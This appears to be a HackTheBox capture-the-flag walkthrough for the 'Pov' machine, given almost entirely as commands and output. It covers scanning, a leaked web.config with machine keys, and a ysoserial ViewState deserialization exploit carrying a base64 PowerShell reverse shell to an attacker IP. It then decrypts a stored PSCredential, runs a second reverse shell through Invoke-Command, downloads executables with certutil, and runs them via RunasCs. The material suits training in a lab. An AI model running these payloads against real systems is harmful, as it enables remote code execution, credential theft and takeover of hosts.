HackTheBox Pov

$ rustscan --ulimit=5000 --range=1-65535 -a 10.129.2.208 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/user/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.2.208:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.129.2.208
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-28 11:53 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Initiating Ping Scan at 11:53
Scanning 10.129.2.208 [2 ports]
Completed Ping Scan at 11:53, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:53
Completed Parallel DNS resolution of 1 host. at 11:53, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 11:53
Scanning 10.129.2.208 [1 port]
Discovered open port 80/tcp on 10.129.2.208
Completed Connect Scan at 11:53, 0.05s elapsed (1 total ports)
Initiating Service scan at 11:53
Scanning 1 service on 10.129.2.208
Completed Service scan at 11:53, 7.51s elapsed (1 service on 1 host)
NSE: Script scanning 10.129.2.208.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 5.06s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Nmap scan report for 10.129.2.208
Host is up, received syn-ack (0.053s latency).
Scanned at 2024-01-28 11:53:21 EST for 12s

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds

10.129.2.208 pov.htb

$ gobuster vhost -u http://pov.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://pov.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 138 / 19967 (0.69%)[ERROR] Get "http://dev.pov.htb/portfolio/": dial tcp: lookup dev.pov.htb on 192.168.43.2:53: no such host
Progress: 19966 / 19967 (99.99%)
===============================================================
Finished
===============================================================

$ cat _web.config                                                                   
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA5ACIALAA0ADIANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

PS C:\Users\sfitz> dir Documents
    Directory: C:\Users\sfitz\Documents
Mode                LastWriteTime         Length Name                              
----                -------------         ------ ----                              
-a----       12/25/2023   2:26 PM           1838 connection.xml                    
PS C:\Users\sfitz> type Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">encoded_pwd</SS>
    </Props>
  </Obj>
</Objs>

PS C:\Users\sfitz> echo encoded_pwd > test.txt
PS C:\Users\sfitz> $EncryptedString = Get-Content .\test.txt
PS C:\Users\sfitz> $SecureString = ConvertTo-SecureString $EncryptedString
PS C:\Users\sfitz> $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
PS C:\Users\sfitz> echo $Credential.GetNetworkCredential().password
pwd

$username = 'alaading'
$password = 'pwd'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA5ACIALAA0ADIANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==}

certutil -urlcache -f http://10.10.14.39:8081/s.exe s.exe
certutil -urlcache -f http://10.10.14.39:8081/runascs.exe runascs.exe

.\RunasCs.exe alaading pwd "C:\\Users\\alaading\\Desktop\\s.exe"

migrate 540